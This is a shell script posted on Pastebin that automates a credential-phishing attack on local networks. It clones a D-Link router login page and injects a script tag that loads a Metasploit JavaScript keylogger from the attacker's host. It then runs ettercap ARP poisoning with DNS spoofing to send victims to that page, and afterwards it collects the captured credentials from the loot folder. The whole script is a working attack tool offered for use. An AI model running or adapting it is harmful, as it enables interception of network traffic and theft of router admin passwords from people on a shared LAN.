Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- ### inicio
- #
- # THIS SCRIPT WAS BUILD TO WORK ON A UNIX SYSTEMS
- # Develop By: pedr0 Ubuntu [r00t-3xp10it]
- # peterubuntu10[at]sourceforge[dot]net
- # -----------------------------------------------
- # quick script to perform MitM+DNS_SPOOF in local
- # LAN in an attempt to capture routers webpage admin
- # credentials using phishing method.
- # -----------------------------------------------
- # Dependencies to work: Unix (kernel) systems,
- # metasploit, ettercap, apache2, zenity.
- #
- # Install/run:
- # tar -xvf DLinkPhish.tar.gz
- # cd DLinkPhish
- # chmod +x DLinkPhish.sh
- # sudo ./DLinkPhish.sh
- #
- ###
- resize -s 25 100 > /dev/null
- # ----------------------------------
- # VARIABLE DECLARATIONS
- # ----------------------------------
- ####################################################################################################
- Eth="/etc/ettercap/etter.dns" # Path to etter.dns conf file #
- apache="/var/www" # path to apache2 webserver #
- ver="1.1" # module version develop #
- w3re=`pwd` # grab script current directory #
- H0m3=`echo ~` # grab home directory #
- user=`who | cut -d' ' -f1 | sort | uniq` # grab username #
- DiStR0=`awk '{print $1}' /etc/issue` # grab distribution - Ubuntu or Kali #
- G4T3=`ip route | grep "static" | awk {'print $3'}` # gab gateway #
- ####################################################################################################
- # -----------------------------------
- # Colorise shell Script output leters
- # -----------------------------------
- Colors() {
- Escape="\033";
- white="${Escape}[0m";
- RedF="${Escape}[31m";
- GreenF="${Escape}[32m";
- YellowF="${Escape}[33m";
- BlueF="${Escape}[34m";
- CyanF="${Escape}[36m";
- Reset="${Escape}[0m";
- }
- # -----------------------------------
- # check if all dependencies are installed
- # -----------------------------------
- Colors;
- # check if user is root
- if [ $(id -u) != "0" ]; then
- echo ${RedF}[x]${BlueF}[Check User]:${RedF} $USER ${Reset};
- echo ${RedF}[x][not root]${white}:you need to be ${GreenF}[root]${white} to run this script.${Reset};
- exit
- else
- echo ${BlueF}[*][Check User]:${GreenF} $USER ${Reset};
- sleep 1
- fi
- #check if metasploit exists
- mSf=`which msfconsole`
- if [ "$?" -eq "0" ]; then
- echo ${BlueF}[*][Metasploit]:${white} installation found...${Reset};
- sleep 1
- else
- echo ${RedF}[x][warning]:${YellowF} this module required Metasploit instaled to work...${Reset};
- echo ${RedF}[x]${YellowF} 'more info' here: http://www.darkoperator.com/installing-metasploit-in-ubunt/ ${Reset};
- sleep 3
- exit
- fi
- #check if ettercap exists
- EtH=`which ettercap`
- if [ "$?" -eq "0" ]; then
- echo ${BlueF}[*][ettercap]:${white} installation found...${Reset};
- sleep 1
- else
- echo ${RedF}[x][warning]:${YellowF} this module required ettercap-ng instaled to work...${Reset};
- sudo apt-get install ettercap
- sleep 3
- exit
- fi
- #check if apache exists
- ApC=`which apache2`
- if [ "$?" -eq "0" ]; then
- echo ${BlueF}[*][apache2]:${white} installation found...${Reset};
- sleep 1
- else
- echo ${RedF}[x][warning]:${YellowF} this module required Apache webserver instaled to work...${Reset};
- echo ${RedF}[x]${YellowF} 'more info' here: http://www.maketecheasier.com/install-and-configure-apache-in-ubuntu/2011/03/09 ${Reset};
- sleep 3
- exit
- fi
- #check if zenity exists
- if [ -d /usr/share/zenity ]; then
- echo ${BlueF}[*][zenity]:${white} installation found...${Reset};
- sleep 1
- else
- Colors;
- echo ${RedF}[x][warning]:${YellowF} this module required 'zenity' instaled to work...${Reset};
- echo ${RedF}[x]${YellowF}more 'info' here: http://www.tecmint.com/zenity-creates-graphical-gtk-dialog-boxes-in-command-line-and-shell-scripts/ ${Reset};
- sudo apt-get install zenity
- sleep 4
- exit
- fi
- clear
- Colors;
- # ------------------
- # BANNER DISPLAY
- # ------------------
- cat << !
- +-----------------------------+
- (=('~')=) | DLINK ADMIN LOGIN PHISHING |
- ,))|o o|((, | Author: r00t-3xp10it |
- ((_)) +-----------------------------+
- '-' |_VERSION:$ver LHOST:$IP
- !
- echo ${YellowF} quick script to perform MitM + DNS_SPOOF [${white} LOCAL LAN ${YellowF}]${Reset};
- echo ${YellowF} 'in' an attempt to capture routers webpage admin credentials${Reset};
- echo ${YellowF} using phishing method, just 'set' your IP [${white} LHOST ${YellowF}]${Reset};
- echo ${YellowF} the [${white} URIPATH ${YellowF}] to use and config [${white} 'etter.dns' ${YellowF}]${Reset};
- echo ${YellowF} to redirect all domains to our phishing webpage.${Reset};
- echo ""
- echo ""
- echo ${YellowF}Press [${GreenF} ENTER ${YellowF}] to continue...${Reset};
- read op
- # ----------------------
- # grab network interface
- # ----------------------
- InT3R=`netstat -r | grep "default" | awk {'print $8'}`
- QuE=$(zenity --question --title "INTERFACE IN USE?" --text "-:[ $InT3R ? ]:-" --width 300) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- inter="$InT3R"
- else
- # interface grab aborted by user
- zenity --info --title="INTERFACE -> ABORTED" --text "Please manually input your interface in use" --width 350 > /dev/null 2>&1
- echo ${GreenF}[*][Available Network Interfaces]: ${Reset};
- echo ""
- netstat -i | grep "wlan" && netstat -i | grep "eth" && netstat -i | grep "ppp" && netstat -i | grep "vboxnet" && netstat -i | grep "pan" && netstat -i | grep "vmnet"
- echo ""
- inter=$(zenity --title="Input interface in use" --text "example: wlan0 OR eth0" --entry --width 300) > /dev/null 2>&1
- fi
- # ---------------------------------------
- # GRAB IP ADDRESS TO CONFIG MSF LHOST VAR
- # ---------------------------------------
- case $DiStR0 in
- Kali) IP=`ifconfig $inter | egrep -w "inet" | cut -d ':' -f2 | cut -d 'B' -f1`;;
- Debian) IP=`ifconfig $inter | egrep -w "inet" | awk '{print $2}'`;;
- Ubuntu) IP=`ifconfig $inter | egrep -w "inet" | awk '{print $3}'`;;
- Parrot) IP=`ifconfig $inter | egrep -w "inet" | cut -d ':' -f2 | cut -d 'B' -f1`;;
- BackBox) IP=`ifconfig $inter | egrep -w "inet" | cut -d ':' -f2 | cut -d 'B' -f1`;;
- *) IP=`zenity --title="Input your IP addr" --text "example: 192.168.1.68" --entry --width 300`;;
- esac
- # ---------------------------------------------------------------
- # clone a website and inject a metasploit iframe (java_keylogger)
- # ---------------------------------------------------------------
- Colors;
- # input attackers variables
- echo ${BlueF}[+][ INPUT ATTACK VECTOR SETTINGS ]${Reset};
- lhost=$(zenity --title="Input your LHOST" --text "example: $IP" --entry --width 300) > /dev/null 2>&1
- uripath=$(zenity --title="Input random URIPATH" --text "example: keylogger" --entry --width 300) > /dev/null 2>&1
- echo -n "[-]{leave blank to poison all local network}(enter router ip address):"
- read router
- echo -n "[-]{leave blank to poison all local network}(enter target ip address):"
- read victim
- # inject the javascript <TAG> into cloned index.html using SED command
- # and inject router gateway ip into cloned website to make a proper display
- sed "s/<\/body>/<script type='text\/javascript' src='http:\/\/$lhost:8080\/$uripath\/test.js'><\/script><\/body>/g" index.html > copy.html
- sed "s|G4tW41|$G4T3|g" copy.html > copy2.html
- # copy all files to apache2 webroot
- mv $w3re/copy2.html $apache/index.html
- mv $w3re/login.html $apache/login.html
- # display current config settings to attacker
- cat << !
- DLINK [keylogger] Final Config:
- ===============================
- LPORT : 8080
- LHOST : $lhost
- GATEWAY : $G4T3
- PAYLOAD : auxiliary/server/capture/http_javascript_keylogger
- INJECTION : <script type="text/javascript" src="http://$lhost:8080/$uripath/test.js"></script>
- STORAGE IN : $apache/index.html
- !
- sleep 2
- # start apache2 webserver
- xterm -T "MITM DLINK PHISHING[$ver] - start Apache webserver" -geometry 110x23 -e "/etc/init.d/apache2 start"
- echo ${BlueF}[*][start apache2]${GreenF}[ OK ]${Reset};
- sleep 2
- # setting ARP poison attack
- echo ${BlueF}[*][edit etter.dns]${YellowF}[ PRESS ENTER ]${Reset};
- read op
- xterm -T "MITM DLINK PHISHING[$ver] - DNS_SPOOFING - press [ctrl+x] to quit" -geometry 110x23 -e "nano $Eth"
- echo ${BlueF}[*][keylooger]${GreenF}[ RUNNING ] ${Reset};
- echo ${BlueF}[*][spear phishing]${GreenF}[ ARP poison + DNS spoofing ]${Reset};
- echo ${RedF}[x][warning]: press [ctrl+c] or [exit] to 'exit' meterpreter shell ${Reset};
- echo ${RedF}[x][warning]: press [q] to stop MITM + DNS_SPOOF attack ${Reset};
- sleep 3
- # start a listenner + ettercap mitm + dns_spoof
- xterm -T "MITM DLINK PHISHING[$ver] - keylogger" -geometry 110x23 -e "msfcli auxiliary/server/capture/http_javascript_keylogger DEMO=0 LHOST=$lhost URIPATH=$uripath E" & ettercap -T -Q -i $inter -P dns_spoof -M arp /$router/ /$victim/
- # clean up script
- # stop apache2 webserver if is running
- /etc/init.d/apache2 stop
- rm $apache/index.html > /dev/null 2>&1
- rm $apache/login.html > /dev/null 2>&1
- rm $w3re/copy.html > /dev/null 2>&1
- cd $H0m3/.msf4/loot
- mv *.txt $w3re/ > /dev/null 2>&1
- zenity --info --title="MITM DLINK PHISHING[$ver]" --text "Author: r00t-3xp10it\nRemmenber to check logfiles" --width 350 > /dev/null 2>&1
- #EOF
Advertisement
Add Comment
Please, Sign In to add comment